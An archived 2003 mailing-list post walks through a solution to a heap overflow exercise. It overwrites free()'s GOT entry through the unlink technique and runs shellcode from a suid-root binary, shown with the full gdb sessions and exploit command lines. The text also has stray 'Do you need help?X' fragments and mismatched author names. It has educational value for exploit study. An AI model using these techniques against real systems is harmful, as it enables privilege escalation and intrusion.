Pantek Library
Hosting Provided By
CybrHost
High Speed Hosting

Re: vulndev1.c solution (warning SPOILER)

From: Jon Erickson <matrix(at)phiral.com>
Date: Wed May 14 2003 - 16:56:38 EDT

Okay, I got a lot of e-mails asking for a more in-depth explanation of this.. so instead of answering these e-mails individually, I'm going to post to the list... cuz I figured it might be helpful to everyone..

And if I mess anything up, please correct me.. here goes..

On Tue, 13 May 2003 18:22:45 -0700
Jose Ronnick <matrix@phiral.com> wrote:
>
> matrix@overdose vuln-dev $ cat vulndev1.c

This is just the code with an added debugging statement to display the address of p1, which is actually the first argument (on the stack). In the case of a non-executable stack, the execution could be returned into buf1+8ish. I liked the way Marco Ivaldi used ltrace to get the address.. I always used to use gdb.. learn something new everyday.. =)

> matrix@overdose vuln-dev $ gcc -o vuln1 vulndev1.c

Just compiling and setting the binary suid root...

Do you need help?X

> matrix@overdose vuln-dev $ objdump -R ./vuln1

Here, I'm really going after the like with "free" on it. This is the address of free in the Global Offset Table (GOT). This table contains the addresses of various functions and is used by the Procedure Linking Table (PLT). The PLT has pointers to pointers in it.. PLT contains pointers to the GOT, which has pointers to the various functions. Funny thing is.. the PLT is marked read-only.. but the GOT isn't.. =)

The basic idea here is to overwrite the address of the free() function in the GOT, with the address of my shellcode. Then when the program tries to call free() for the second time, instead of jumping to the free() function, execution will flow to the shellcode...

Also, you could use dtors here...

>
> matrix@overdose vuln-dev $ pcalc 0x4c-12
> 64 0x40 0y1000000

Okay, here I'm just subtracting 12 from the address of the free() function.. to get the address 0x08049640.. This is because later I'm going to be tricking the unlink part of the free call.. When memory is allocated on the heap, there's a control structure (like a header) for each chunk.. part of this struct are pointers back (bk) and forward (fd) bk is suppose to point to the previous chunk and fd at the next chunk.. Anyway.. part of the unlink call does this to the next chunk header:

*(next->fd + 12) = next->bk

err... that's confusing... this might make it a bit clearer...

matrix@overdose vuln-dev $ ulimit -c unlimited
matrix@overdose vuln-dev $ gcc -o vuln vulndev1.c
matrix@overdose vuln-dev $ ./vuln `perl -e 'print "A"x253;'` ABCD1234
p1 is at 0xbffff833
Segmentation fault (core dumped)
matrix@overdose vuln-dev $ gdb -q -c core ./vuln
Core was generated by `./vuln AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'.
Program terminated with signal 11, Segmentation fault. Reading symbols from /lib/libc.so.6...done. Loaded symbols for /lib/libc.so.6
Reading symbols from /lib/ld-linux.so.2...done. Loaded symbols for /lib/ld-linux.so.2
#0 0x40096acf in _int_free () from /lib/libc.so.6 (gdb) x/i $eip
0x40096acf <_int_free+191>: mov %eax,0xc(%edx) (gdb) info reg eax edx
eax            0x34333231       875770417
edx            0x44434241       1145258561
(gdb)
Do you need more help?X

So the instruction it barfed on was "mov %eax, 0xc(%edx)". Basically, it's trying to copy the address from the register eax into edx shifted by 12 bytes.. so... to get the address from eax to copy into the address 0x0804964c, we need to supply it with 0x08049640 (12 less)... more on this later..

> matrix@overdose vuln-dev $ od -ch shell

Just displaying the shellcode and it's length...

> matrix@overdose vuln-dev $ pcalc 252-46
> 206 0xce 0y11001110

subtracting the shellcode length from the buffer length..

> matrix@overdose vuln-dev $ ./vuln1 `perl -e 'print "A"x206;'``cat shell``printf "\x0b"` `printf "\x40\x96\x04\x08ABCD"`
> p1 is at 0xbffff839
> Segmentation fault

Run the program once to get the address of p1..

> matrix@overdose vuln-dev $ ./vuln1 `perl -e 'print "A"x206;'``cat shell``printf "\x0b"` `printf "\x40\x96\x04\x08\x39\xf8\xff\xbf"`

Can we help you?X

and then feed it back in for the return address.. if you notice in the gdb session above, edx and eax were ABCD and 1234, respectively.. So instead of ABCD, we use the address of free() in the GOT minus 12.. and instead of 1234, we use the address to the shellcode.. I put 206 bytes of A in front of the shellcode to act as a NOP sled.. the character A is equivalent to the machine code instruction "inc %ecx" in x86 arch.. so it basically works the same.. but it's just printable and cooler.. Having this sled as a spacer just gives me 206 bytes of slop space..

as for the byte of \x0b.. this could have really been anything, as long as the least sig bit was 0x1.. This is how the allocation/deallocation functions mark the previous chunk as in use.. This tricks the first free() call into overwriting the GOT entry, using data from buf2 (which it thinks it part of a chunk header).. I hope this helped clarify.. if anyone else can add more to this please do..

-- 
%JOSE_RONNICK%50,:PTX-!399-Purr-!TTTP[XS\-.aa$-do+sP-x121-{Smm-|zq`P-wXqv-kxwx-5yyzP-11B5-0av(-4Gz!P-~]cz-HcayP-YLg/-wyx0-zyx!P-

  • application/pgp-signature attachment: stored
Received on Wed May 14 17:03:18 2003

This archive was generated by hypermail 2.1.8 : Wed Aug 23 2006 - 14:07:39 EDT


Contact Us  Legal Notices  Order Services Online 
Pantek Home  Privacy Policy  IT news  Site Map  Pantek Library